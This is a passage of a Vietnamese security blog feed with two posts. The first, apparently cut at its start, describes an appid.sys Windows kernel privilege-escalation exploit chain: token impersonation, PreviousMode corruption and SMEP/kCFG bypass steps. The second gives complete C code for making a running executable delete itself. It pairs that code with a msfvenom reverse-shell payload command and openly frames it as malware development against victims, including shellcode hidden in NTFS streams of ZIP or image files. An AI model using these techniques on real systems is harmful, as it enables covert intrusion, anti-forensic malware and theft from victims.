    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = stack-&amp;gt;Parameters.DeviceIoControl.IoControlCode;
    switch (ioctlCode) {
        // Xử lý từng mã IOCTL
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi nhận được yêu cầu IOCTL, hàm &lt;code&gt;DeviceControl&lt;/code&gt; được gọi với các tham số &lt;strong&gt;DeviceObject&lt;/strong&gt; và &lt;strong&gt;Irp&lt;/strong&gt;. Hàm này sẽ lấy mã IOCTL từ stack để xử lý.
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
IOCTL sẽ được xử lý qua hàm &lt;code&gt;AipDeviceIoControlDispath&lt;/code&gt; và sau đó chuyển tiếp đến hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt; để thực hiện tính toán hash.
&lt;img src=&quot;Flow.png&quot; alt=&quot;alt text&quot; /&gt;
Khi trace ngược các lệnh gọi đến &lt;code&gt;AipSmartHashImageFile&lt;/code&gt;, ta thấy luồng xử lý đi qua 2 hàm sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SmartLockerVerifyProcess&lt;/code&gt;: Đây là hàm của Windows Applocker dùng để xác minh tính hợp lệ của process trước khi cho phép thực thi. Hàm này thực hiện kiểm tra process dựa trên các quy tắc bảo mật đã thiết lập, đảm bảo chỉ các ứng dụng được uỷ quyền mới được phép chạy và xác thực tính toàn vẹn của file thực thi.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AipDeviceIoControlDispatch&lt;/code&gt;: trong quá trình phân tích code của hàm AipDeviceIoControlDispatch, ta có thể thấy format code khá tương đồng với code mẫu đã đề cập ở trên, từ đó có thể xác định đây chính là hàm dùng để xử lý các IOCTL(handle các IOCTL call của driver thông qua Device handle). Khi IOCTL code &lt;code&gt;0x22A018&lt;/code&gt; được gọi, hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt; sẽ được thực thi với các tham số ConfigOptions được truyền vào.
&lt;img src=&quot;25-09-2024-20240926013614460.png&quot; alt=&quot;alt text&quot; /&gt;
Ta có thể thấy hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt; được call tại IOCTL code là &lt;code&gt;0x22A018&lt;/code&gt;.
Bên cạnh đó, để gửi một yêu cầu điều khiển tới hàm &lt;code&gt;NtDeviceIoControl&lt;/code&gt; cần có struct IOCTL riêng.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Dựa trên tài liệu về IOCTL của Microsoft, để xử lý driver cần có quyền &lt;strong&gt;FILE_WRITE_ACCESS&lt;/strong&gt;(với IOCTL code 0x0002). Để xác định user nào có quyền này trên AppID device, chúng ta tiến hành phân tích thông qua công cụ &lt;strong&gt;WinObj&lt;/strong&gt; thuộc bộ &lt;strong&gt;SysInternalsSuites&lt;/strong&gt;. Công cụ này cho phép liệt kê toàn bộ system object, bao gồm device và driver trong hệ thống.
Kết quả kiểm tra &lt;strong&gt;ACL (Access Control List)&lt;/strong&gt; của AppID device cho thấy ngay cả nhóm &lt;code&gt;Administrators&lt;/code&gt; cũng không được cấp quyền &lt;code&gt;Write&lt;/code&gt;.
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
Qua kiểm tra bằng công cụ &lt;strong&gt;WinObj&lt;/strong&gt;, phát hiện &lt;code&gt;LOCAL SERVICE&lt;/code&gt; có đầy đủ quyền truy cập &lt;strong&gt;(Read, Write, Delete và Special permissions)&lt;/strong&gt; trên AppID device. Đặc quyền này cho phép thực hiện truy cập và gọi đến hàm mong muốn thông qua IOCTL code.
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;strong&gt;Wrapup&lt;/strong&gt;: Từ những phân tích trên, lỗ hổng có thể được khai thác thông qua việc lợi dụng &lt;strong&gt;Windows Access Token&lt;/strong&gt; bằng kỹ thuật Token impersonation và truyền payload tới hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt;. Đây chính là vector tấn công chính để thực hiện leo thang đặc quyền trong hệ thống.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Khai thác&lt;/h2&gt;
&lt;p&gt;Để thực hiện khai thác, cần truy cập vào &lt;code&gt;&quot;\\Device\\AppID&quot;&lt;/code&gt; bằng user &lt;code&gt;LOCAL SERVICE&lt;/code&gt; thông qua kỹ thuật Access Token impersonation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;Theo tài liệu Microsoft, Windows Access Token là một object đại diện cho security context của process hoặc thread. Token này chứa thông tin về khả năng nhận dạng và quyền hạn của user account được gắn với process/thread tương ứng. Khi người dùng đăng nhập, hệ thống sẽ xác thực bằng cách so sánh thông tin với database và tạo access token. Mỗi process thực thi dưới user đó sẽ nhận được bản copy của token này.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Access token có thể được sao chép từ remote process trong Windows (với điều kiện có đủ quyền hạn). Quá trình leo thang từ &lt;code&gt;Administrator&lt;/code&gt; lên &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; (S-1-5-18) yêu cầu hai quyền đặc biệt:&lt;code&gt;SeDebugPrivilege&lt;/code&gt; và &lt;code&gt;SeAssignPrimaryTokenPrivilege&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Process &lt;strong&gt;winlogon.exe&lt;/strong&gt; được chạy với quyền &lt;strong&gt;SYSTEM&lt;/strong&gt; để quản lý trạng thái đăng nhập Windows, do đó nó sở hữu cả hai quyền trên và cho phép người dùng tương tác. Đặc biệt, process này còn cho phép duplicate &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; access token từ process này.&lt;/p&gt;
&lt;p&gt;Tiếp theo quá trình khai thác, sau khi sao chép &lt;strong&gt;SYSTEM&lt;/strong&gt; token thông qua WinAPI &lt;code&gt;DuplicateTokenEx&lt;/code&gt;, có thể truy cập vào &lt;code&gt;NT AUTHORITY\LOCAL SERVICE&lt;/code&gt;(S-1-5-19) access token bằng cách tìm các token có hai quyền đặc biệt:  &lt;code&gt;SeDebugPrivilege&lt;/code&gt; và &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Process &lt;strong&gt;svhost.exe&lt;/strong&gt; thường được chạy dưới quyền &lt;code&gt;NT AUTHORITY\LOCAL SERVICE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;-&amp;gt; Là một đối tượng lý tưởng để khai thác.&lt;/p&gt;
&lt;p&gt;Với quyền truy cập &lt;code&gt;NT AUTHORITY\LOCAL SERVICE&lt;/code&gt;, đồng nghĩa với việc có quyền &lt;strong&gt;Write&lt;/strong&gt; vào  &lt;code&gt;&quot;\\Device\\AppID&quot;&lt;/code&gt; và có thể sử dụng IOCTL code &lt;code&gt;0x22A018&lt;/code&gt;. Điều này cho phép mở handle và truy cập vào hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt;, từ đó có thể gửi payload để trigger &lt;em&gt;PreviousMode&lt;/em&gt; bị memory corrupt.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;PreviousMode là một trường trong struct _KTHREAD, được sử dụng để đánh dấu syscall được gọi từ KernelMode hay UserMode. Một số syscall như Nt hoặc Zw(direct) sẽ kiểm tra giá trị PreviousMode bằng cách check PreviousMode của thread hiện tại.&lt;/em&gt;
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ví dụ&lt;/strong&gt;: Khi gọi syscall &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; trong &lt;code&gt;ntoskrnl.exe&lt;/code&gt;, chương trình sẽ thực hiện gọi đến hàm &lt;code&gt;MiReadWriteVirtualMemory&lt;/code&gt;, có thể xác nhận thông qua phân tích disassemble của hàm này.&lt;/p&gt;
&lt;p&gt;Nhìn vào disassemble của hàm &lt;code&gt;MiReadWriteVirtualMemory&lt;/code&gt;
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;
Ta có thể thấy đoạn kiểm tra giá trị của &lt;strong&gt;PreviousMode&lt;/strong&gt; từ dòng 32 tới 35.
Chuỗi gọi hàm khi thực hiện khai thác:
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;
Trong đó, hàm &lt;code&gt;AppHashComputeImageHashInternal&lt;/code&gt; sẽ thực thi function pointer được control bởi user dựa trên buffer đã được control bởi user. Việc thực thi này được kích hoạt thông qua IOCTL &lt;code&gt;0x22A018&lt;/code&gt;.
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;=&amp;gt; Với khả năng kiểm soát function pointer trong hàm &lt;code&gt;AipSmartHashImageFile&lt;/code&gt;, một hướng khai thác tiềm năng là gửi user-mode shellcode tới control code và sửa đổi giá trị &lt;strong&gt;PreviousMode&lt;/strong&gt; của thread hiện tại về 0. Tuy nhiên, hai cơ chế bảo mật quan trọng của Windows đó chính là &lt;strong&gt;kCFG(Kernel Control Flow Guard)&lt;/strong&gt; và &lt;strong&gt;SMEP(Supervisor Mode Execution Prevention)&lt;/strong&gt; không cho phép chúng ta trực tiếp thực hiện điều này.&lt;/p&gt;
&lt;h2&gt;Phân tích và bypass các cơ chế bảo vệ.&lt;/h2&gt;
&lt;h3&gt;Về SMEP:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Chức năng: &lt;strong&gt;Supervisor Mode Execution Prevention(SMEP)&lt;/strong&gt; đóng vai trò như một bức tường ngăn cách, nghiêm ngặt chặn mọi nỗ lực thực thi code user-mode trong context của kernel. Cơ chế này đảm bảo tính toàn vẹn cảu không gian kernel bằng cách ngăn chặn việc thực thi mã từ không gian người dùng khi đang hoạt động ở đặc quyền cao hơn.&lt;/li&gt;
&lt;li&gt;Kỹ thuật bypass:
&lt;ul&gt;
&lt;li&gt;Sử dụng kỹ thuật &lt;strong&gt;ROP (Return Oriented Programming)&lt;/strong&gt; để sắp xếp lại các đoạn mã trong kernel và tránh thực thi trực tiếp từ user-mode.&lt;/li&gt;
&lt;li&gt;Xác định các gadget phù hợp dựa vào kernel nhưng về cơ bản sẽ bao gồm các bước sau:
&lt;ul&gt;
&lt;li&gt;Tìm Gadget để điều chỉnh CR4: Xác định gadget &lt;code&gt;move cr4,rax;ret;&lt;/code&gt; để thay đổi thay ghi CR4(Để bật/tắt &lt;strong&gt;SMEP&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Thiết lập giá trị CR4: Sử dụng gadget &lt;code&gt;pop rax;ret;&lt;/code&gt; để nạp giá trị vào rax, trong đó bit 20 của CR4 là 0.&lt;/li&gt;
&lt;li&gt;Thực hiện chuỗi ROP: Kích hoạt gadget &lt;code&gt;move cr4,rax;ret;&lt;/code&gt; để hi rax vào CR4.&lt;/li&gt;
&lt;li&gt;Nhảy đến mã user-mode: Trỏ tới shellcode.&lt;/li&gt;
&lt;li&gt;Thiết lập lại CR4: Đặt lại bit &lt;strong&gt;SMEP&lt;/strong&gt; trong CR4 để giảm thiểu khả năng detect sau khi khai thác xong.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Về kCFG:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Chức năng:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Control Flow Guard(CFG)&lt;/strong&gt; và phiên bản bảo vệ ở kernel là &lt;strong&gt;kCFG&lt;/strong&gt; là các cơ chế bảo mật do Microsoft phát triển nhằm ngăn chặn khai thác mã độc bằng cách bảo vệ luồng điều khiển trong các ứng dụng và trong kernel của Windows. &lt;strong&gt;CFG&lt;/strong&gt; giới hạn việc sử dụng các lệnhh gọi hàm gián tiếp, đảm bảo rằng chỉ những địa chỉ hợp lệ, đã được xác định trước mới có thể được gọi, qua đó giảm thiểu nguy cơ tấn công chèn mã độc.&lt;/li&gt;
&lt;li&gt;Ở &lt;strong&gt;user-mode&lt;/strong&gt;, &lt;strong&gt;CFG&lt;/strong&gt; hoạt động bằng cách duy trì một bitmap các địa chỉ được phép gọi gián tiếp. Khi một lệnh gọi gián tiếp được thực hiện, hệ thống sẽ kiểm tra địa chỉ này với bitmap. Nếu địa chỉ đó không được đánh dấu là an toàn, hệ thống sẽ chặn thực thi hàm, ngăn không cho truy cập trái phép vào các vùng nhớ quan trọng.&lt;/li&gt;
&lt;li&gt;Ở &lt;strong&gt;kernel-mode&lt;/strong&gt;, &lt;strong&gt;kCFG&lt;/strong&gt; thực thi các giới hạn tương tự. Các hàm trong kernel, bao gồm các lệnh gọi gián tiếp trong các driver, được xác thực thông qua tập hợp các con trỏ hợp lệ. Điều này đảm bảo rằng attacker không thể điều hướng các lệnh gọi hàm đến mã tuy ý hoặc độc hại. &lt;strong&gt;kCFG&lt;/strong&gt; kết hợp với các biện pháp bảo vệ khác như &lt;strong&gt;Supervisor Mode Execution Prevention(SMEP)&lt;/strong&gt; tạo ra một lốp bảo vệ bổ sung giúp hạn chế các con đường khai thác leo thang đặc quyền và lỗi memmory corrupt bên trong kernel của Windows. Nhờ &lt;strong&gt;CFG&lt;/strong&gt; và &lt;strong&gt;kCFG&lt;/strong&gt;, luồng điều khiển của hệ thống được duy trì an toàn, giảm khả năng khai thác thành công các lỗ hổng bảo mật.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kỹ thuật bypass:
&lt;ul&gt;
&lt;li&gt;Để vượt qua &lt;strong&gt;kCFG&lt;/strong&gt; attacker có thể tận dụng các hàm hợp lệ trong kernel mà không vi phạm quy tắc của &lt;strong&gt;kCFG&lt;/strong&gt;. Bằng cách thực hiện hook các hàm hợp lệ hoặc các callback hợp lệ trong kernel, attacker có thể xây dựng chuỗi khai thác mà vẫn tuân thủ cấu trúc hợp lệ được kiển soát bởi &lt;strong&gt;kCFG&lt;/strong&gt;. Ví dụ: trong &lt;code&gt;appid.sys&lt;/code&gt;, hàm &lt;code&gt;ExpProfileDelete()&lt;/code&gt; có thể được sử dụng như một vector để kích hoạt các hàm khác trong kernel mà không bị &lt;strong&gt;kCFG&lt;/strong&gt; chặn.
&lt;img src=&quot;dtoi1hea-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Khi hàm &lt;code&gt;ObfDeferenceObject&lt;/code&gt; được gọi trên địa chỉ &lt;strong&gt;PreviousMode&lt;/strong&gt; của thread hiện tại, chúng sẽ làm giảm giá trị của &lt;strong&gt;PreviousMode&lt;/strong&gt; của thread chính từ 1 xuống 0.
&lt;img src=&quot;yl0z5qye-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Tại thời điểm này, chúng ta có thể gọi hàm &lt;code&gt;NtReadVirtualMemory&lt;/code&gt; và &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; lên các địa chỉ kernel từ &lt;strong&gt;user-mode&lt;/strong&gt;. Và exploit thực thi mã tuỳ ý thành công từ &lt;strong&gt;user-mode&lt;/strong&gt;
&lt;img src=&quot;c00avepq-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Demo&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;tsosoqxo.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Internals: The Art of Self-Deletion</title><link>https://wanderlens.vercel.app/posts/selfdelete/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/selfdelete/</guid><pubDate>Fri, 11 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Giới thiệu&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Xin chào các bạn, mình là Zhuge. Hôm nay, mình sẽ giới thiệu với các bạn kĩ thuật SelfDelete, một kĩ thuật cho phép bạn xóa một file đang chạy. Trước khi đi sâu vào kĩ thuật này, chúng ta cần hiểu rõ về NTFS.
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Vậy NTFS là gì ?&lt;/h1&gt;
&lt;p&gt;NTFS là hệ thống file độc quyền của Windows, nó vượt trội so với các tiền nhiệm như FAT và exFAT. NTFS cho phép quản lý quyền truy cập file, thư mục, nén, mã hóa, liên kết cứng, liên kết tượng trưng và giao dịch an toàn.
NTFS cũng hỗ trợ luồng dữ liệu thay thế, cho phép một file chứa nhiều luồng thông tin. Điều này rất hữu dụng khi bạn muốn ẩn thông tin nhạy cảm hoặc file nhỏ vào file lớn hơn. Mỗi file đều có luồng dữ liệu mặc định là $DATA, nhưng người dùng cũng tạo thêm luồng riêng. Nhờ đó, NTFS mang tới nhiều tính năng vượt trội cho người dùng.
Các bạn có thể đọc thêm tại đây:&lt;/p&gt;
&lt;p&gt;https://owasp.org/www-community/attacks/Windows_alternate_data_stream
https://www.malwarebytes.com/blog/news/2015/07/introduction-to-alternate-data-streams&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Deleting A Running Binary&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Chúng ta không thể xoá được file binary đang chạy trên Windows vì việc xoá file trên windows yêu cầu file đó phải không có process nào đang sử dụng.
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chúng ta cũng có thể xoá bằng cách sử dụng WinAPI DeleteFileA để xóa một file đang chạy. Nhưng bị lỗi ERROR_ACCESS_DENIED.
&lt;img src=&quot;Pasted%20image%2020230813182725.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;Pasted%20image%2020230813183008.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Một cách để vượt qua vấn đề này là đổi tên luồng dữ liệu mặc định :$DATA thành một tên khác ngẫu nhiên. Kết quả là xoá luồng dữ liệu mới đổi tên, và tệp nhị phân sẽ bị xoá khỏi đĩa, ngay cả khi nó vẫn đang chạy.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Vậy chúng ta thực hiện điều này như thế nào?&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Retrieve File Handle&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Bước đầu tiên là lấy Handle của file cần xoá bằng cách sử dụng WinAPI CreateFileW, với Access Flag được đặt thành DELETE để cung cấp quyền xóa tệp.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf(&quot;[!] CreateFileW [R] Failed With Error : %d \n&quot;, GetLastError());
		return FALSE;
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Renaming The Data Stream&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Tiếp theo để xóa tệp nhị phân đang chạy, chúng ta đổi tên luồng dữ liệu  &lt;code&gt;$DATA&lt;/code&gt; bằng cách sử dụng hàm &lt;code&gt;SetFileInformationByHandle&lt;/code&gt; WinAPI với flag &lt;code&gt;FileRenameInfo&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL SetFileInformationByHandle(
HANDLE hFile, /// Handle của file cần thay đổi thông tin
FILE_INFO_BY_HANDLE_CLASS FileInformationClass, /// Flag đại diện cho loại thông tin cần thay đổi
LPVOID lpFileInformation, ///Con trỏ tới bộ đệm chứa thông tin cần thay đổi 
DWORD dwBufferSize /// Kích thước của bộ đệm &apos;lpFileInformation&apos; tính bằng byte
);  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tham số &lt;code&gt;FileInformationClass&lt;/code&gt; phải là một enum &lt;code&gt;FILE_INFO_BY_HANDLE_CLASS&lt;/code&gt;, trong trường hợp này là &lt;code&gt;FileRenameInfo&lt;/code&gt;, &lt;code&gt;lpFileInformation&lt;/code&gt; là con trỏ tới cấu trúc &lt;code&gt;FILE_RENAME_INFO&lt;/code&gt;. Microsoft đã đề cập như sau:
&lt;img src=&quot;Pasted%20image%2020230813191841.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;FILE_RENAME_INFO Structure&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _FILE_RENAME_INFO {
  union {
	BOOLEAN ReplaceIfExists;
	DWORD   Flags;
  } DUMMYUNIONNAME;
  BOOLEAN ReplaceIfExists;
  HANDLE  RootDirectory;
  DWORD   FileNameLength;
  WCHAR   FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chúng ta chỉ cần quan tâm tới hai trường là FileNameLength và FileName. Tài liệu của Microsoft giải thích cách định nghĩa một Stream NTFS mới.
&lt;img src=&quot;Pasted%20image%2020230813192125.png&quot; alt=&quot;alt text&quot; /&gt;
Vì vậy, tên file phải bắt đầu bằng một wide char là dấu hai chấm (:). Kết quả là đoạn code giống như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if (!::SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
		printf(&quot;[!] ::SetFileInformationByHandle [R] Failed With Error : %d \n&quot;, GetLastError());
		return FALSE;
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;strong&gt;Deleting The Data Stream&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Cuối cùng, ta xóa stream tên $DATA bằng cách sử dụng WinAPI SetFileInformationByHandle với flag FileDispositionInfo. Flag này đánh dấu file sẽ bị xóa khi Handle của file đóng.
&lt;strong&gt;Lưu ý&lt;/strong&gt;: &lt;code&gt;Khi sử dụng flag FileDispositionInfo, lpFileInformation phải là một con trỏ tới cấu trúc FILE_DISPOSITION_INFO.&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _FILE_DISPOSITION_INFO {
  BOOLEAN DeleteFile;       
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DeleteFile chỉ cần được đặt thành TRUE để xóa tệp.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	Delete.DeleteFile = TRUE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Implement Code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   if (!::SetFileInformationByHandle(hFile, FileDispositionInfo, &amp;amp;Delete, sizeof(Delete))) {
		printf(&quot;[!] ::SetFileInformationByHandle [D] Failed With Error : %d \n&quot;, GetLastError());
		return FALSE;
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;strong&gt;Refreshing File Data Stream&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Khi gọi lần đầu tiên SetFileInformationByHandle để đổi file data stream , Handle của file sẽ được đóng và mở lại bằng một lệnh CreateFileW khác. Việc này để làm mới file data stream và cung cấp handle mới chứa file data stream mới.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf(&quot;[!] ::CreateFileW [D] Failed With Error : %d \n&quot;, GetLastError());
		return FALSE;
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Let&apos;s assemble it.&lt;/h1&gt;
&lt;p&gt;Thông thường chúng ta sử dụng WinAPI &lt;code&gt;GetModuleFileNameW&lt;/code&gt; để lấy đường dẫn của file mô-đun được chỉ định. Nếu tham số đầu tiên được đặt là &lt;code&gt;NULL&lt;/code&gt;, thì nó sẽ trả về đường dẫn của file thực thi của process hiện tại.
&lt;img src=&quot;get-it-together-dc19767ff0.jpg&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;Windows.h&amp;gt;
#define NEW_STREAM L&quot;:DeleteSelf&quot;

BOOL DeleteSelf();
int main()
{
	DeleteSelf();
	return 0;

}
BOOL DeleteSelf() {


	WCHAR                       szPath[MAX_PATH * 2] = { 0 };
	FILE_DISPOSITION_INFO       Delete = { 0 };  
	HANDLE                      hFile = INVALID_HANDLE_VALUE; 
	PFILE_RENAME_INFO           pRename = NULL; 
	const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
	SIZE_T                      sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
	
	pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename); ///   Cấp phát đủ bộ nhớ cho struct &apos;FILE_RENAME_INFO&apos;
	if (!pRename) {
		return FALSE;
	}
	 /// Clean các struct tránh các giá trị không mong muốn
	::ZeroMemory(szPath, sizeof(szPath)); 
	::ZeroMemory(&amp;amp;Delete, sizeof(FILE_DISPOSITION_INFO));

	Delete.DeleteFile = TRUE;
	/// Đặt kích thước và bộ đệm lưu tên data stream mới trong struct &apos;FILE_RENAME_INFO&apos;
	pRename-&amp;gt;FileNameLength = sizeof(NewStream);
	::RtlCopyMemory(pRename-&amp;gt;FileName, NewStream, sizeof(NewStream));
	/// Lấy tên file hiện tại
	if (::GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
		return FALSE;
	}

	// Lấy handle của file hiện tại
	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	wprintf(L&quot;[i] Renaming :$DATA to %s  ...&quot;, NEW_STREAM);

	// Đổi tên data stream
	if (!::SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
		return FALSE;
	}

	wprintf(L&quot;[+] Done \n&quot;);
	CloseHandle(hFile);
	// Mở handle mới cho file hiện tại
	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	// Đánh dấu để xóa file sau khi đóng handle của file
	wprintf(L&quot;[i] DELETING ...&quot;);
	if (!::SetFileInformationByHandle(hFile, FileDispositionInfo, &amp;amp;Delete, sizeof(Delete))) {
		return FALSE;
	}
	::CloseHandle(hFile);
	::HeapFree(::GetProcessHeap(), 0, pRename);

	wprintf(L&quot;[+] DONE \n&quot;);
	return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Pasted%20image%2020230813205924.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;Pasted%20image%2020230813204638.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Show Case&lt;/h1&gt;
&lt;p&gt;Bây giờ bạn hãy tưởng tượng xem sẽ ra sao nếu chúng ta ứng dụng kĩ thuật nãy vào công việc malware dev??
Ở đây mình sẽ sử dụng 1 kĩ thuật khá cơ bản đó là shellcode Execute với payload meterpreter được tạo từ msfvenom thông qua câu lệnh sau.
&lt;code&gt;msfvenom -p windows/x64/shell_reverse_tcp lhost=&amp;lt;host&amp;gt; lport=&amp;lt;port&amp;gt; -f c&lt;/code&gt;
Hàm main sẽ trông như thế này:
&lt;img src=&quot;Pasted%20image%2020230813212048.png&quot; alt=&quot;alt text&quot; /&gt;
Và đây là kết quả bạn đã xoá được file thực thi gốc sau khi chạy và lấy shell .
&lt;img src=&quot;Pasted%20image%2020230813212015.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;&amp;lt;strong style=&quot;color: red;&quot;&amp;gt;Now you pwned everything!!! It’s your time to play with the victim.&amp;lt;/strong&amp;gt;&amp;lt;h2&amp;gt;&lt;/p&gt;
&lt;h1&gt;On the other hand&lt;/h1&gt;
&lt;p&gt;Ngoài ra kỹ thuật lưu trữ shellcode trong luồng dữ liệu thay thế của NTFS thực sự rất hay ho. Bạn có thể ẩn những hành động độc hại xuống một cấp độ khó phát hiện hơn.
Ví dụ, tạo một file ZIP hoặc hình ảnh bình thường nhưng bên trong lại chứa shellcode meterpreter. Khi nạn nhân mở file đó lên, shellcode sẽ tự động chạy và lấy quyền điều khiển máy của họ.
Lúc này kẻ tấn công đã có thể chiếm quyền điều khiển toàn bộ hệ thống, sao chép dữ liệu nhạy cảm hoặc sử dụng máy nạn nhân để tiếp tục phát tán mã độc ra các máy khác. Đây chỉ là một ví dụ đơn giản về cách khai thác kỹ thuật này, trên thực tế hacker có thể sáng tạo ra nhiều cách thức tinh vi hơn.&lt;/p&gt;
